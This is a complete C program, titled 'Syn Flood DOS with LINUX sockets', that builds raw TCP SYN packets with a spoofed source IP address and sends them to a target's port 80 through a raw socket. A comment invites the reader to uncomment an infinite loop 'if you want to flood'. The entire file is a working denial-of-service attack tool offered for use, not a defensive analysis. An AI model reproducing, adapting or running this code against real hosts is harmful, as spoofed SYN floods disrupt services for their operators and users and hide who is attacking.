/*

    Syn Flood DOS with LINUX sockets

*/

#include<stdio.h>

#include<string.h> //memset

#include<sys/socket.h>

#include<stdlib.h> //for exit(0);

#include<errno.h> //For errno - the error number

#include<netinet/tcp.h>   //Provides declarations for tcp header

#include<netinet/ip.h>    //Provides declarations for ip header

 

struct pseudo_header    //needed for checksum calculation

{

    unsigned int source_address;

    unsigned int dest_address;

    unsigned char placeholder;

    unsigned char protocol;

    unsigned short tcp_length;

     

    struct tcphdr tcp;

};

 

unsigned short csum(unsigned short *ptr,int nbytes) {

    register long sum;

    unsigned short oddbyte;

    register short answer;

 

    sum=0;

    while(nbytes>1) {

        sum+=*ptr++;

        nbytes-=2;

    }

    if(nbytes==1) {

        oddbyte=0;

        *((u_char*)&oddbyte)=*(u_char*)ptr;

        sum+=oddbyte;

    }

 

    sum = (sum>>16)+(sum & 0xffff);

    sum = sum + (sum>>16);

    answer=(short)~sum;

     

    return(answer);

}

 

int main (void)

{

    //Create a raw socket

    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);

    //Datagram to represent the packet

    char datagram[4096] , source_ip[32];

    //IP header

    struct iphdr *iph = (struct iphdr *) datagram;

    //TCP header

    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));

    struct sockaddr_in sin;

    struct pseudo_header psh;

     

    strcpy(source_ip , "192.168.1.2");

   

    sin.sin_family = AF_INET;

    sin.sin_port = htons(80);

    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

     

    memset (datagram, 0, 4096); /* zero out the buffer */

     

    //Fill in the IP Header

    iph->ihl = 5;

    iph->version = 4;

    iph->tos = 0;

    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);

    iph->id = htons(54321);  //Id of this packet

    iph->frag_off = 0;

    iph->ttl = 255;

    iph->protocol = IPPROTO_TCP;

    iph->check = 0;      //Set to 0 before calculating checksum

    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address

    iph->daddr = sin.sin_addr.s_addr;

     

    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

     

    //TCP Header

    tcph->source = htons (1234);

    tcph->dest = htons (80);

    tcph->seq = 0;

    tcph->ack_seq = 0;

    tcph->doff = 5;      /* first and only tcp segment */

    tcph->fin=0;

    tcph->syn=1;

    tcph->rst=0;

    tcph->psh=0;

    tcph->ack=0;

    tcph->urg=0;

    tcph->window = htons (5840); /* maximum allowed window size */

    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack

                should fill in the correct checksum during transmission */

    tcph->urg_ptr = 0;

    //Now the IP checksum

     

    psh.source_address = inet_addr( source_ip );

    psh.dest_address = sin.sin_addr.s_addr;

    psh.placeholder = 0;

    psh.protocol = IPPROTO_TCP;

    psh.tcp_length = htons(20);

     

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

     

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

     

    //IP_HDRINCL to tell the kernel that headers are included in the packet

    int one = 1;

    const int *val = &one;

    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)

    {

        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));

        exit(0);

    }

     

    //Uncommend the loop if you want to flood :)

    //while (1)

    //{

        //Send the packet

        if (sendto (s,      /* our socket */

                    datagram,   /* the buffer containing headers and data */

                    iph->tot_len,    /* total length of our datagram */

                    0,      /* routing flags, normally always 0 */

                    (struct sockaddr *) &sin,   /* socket addr, just like in */

                    sizeof (sin)) < 0)       /* a normal send() */

        {

            printf ("error\n");

        }

        //Data send successfully

        else

        {

            printf ("Packet Send \n");

        }

    //}

     

    return 0;

}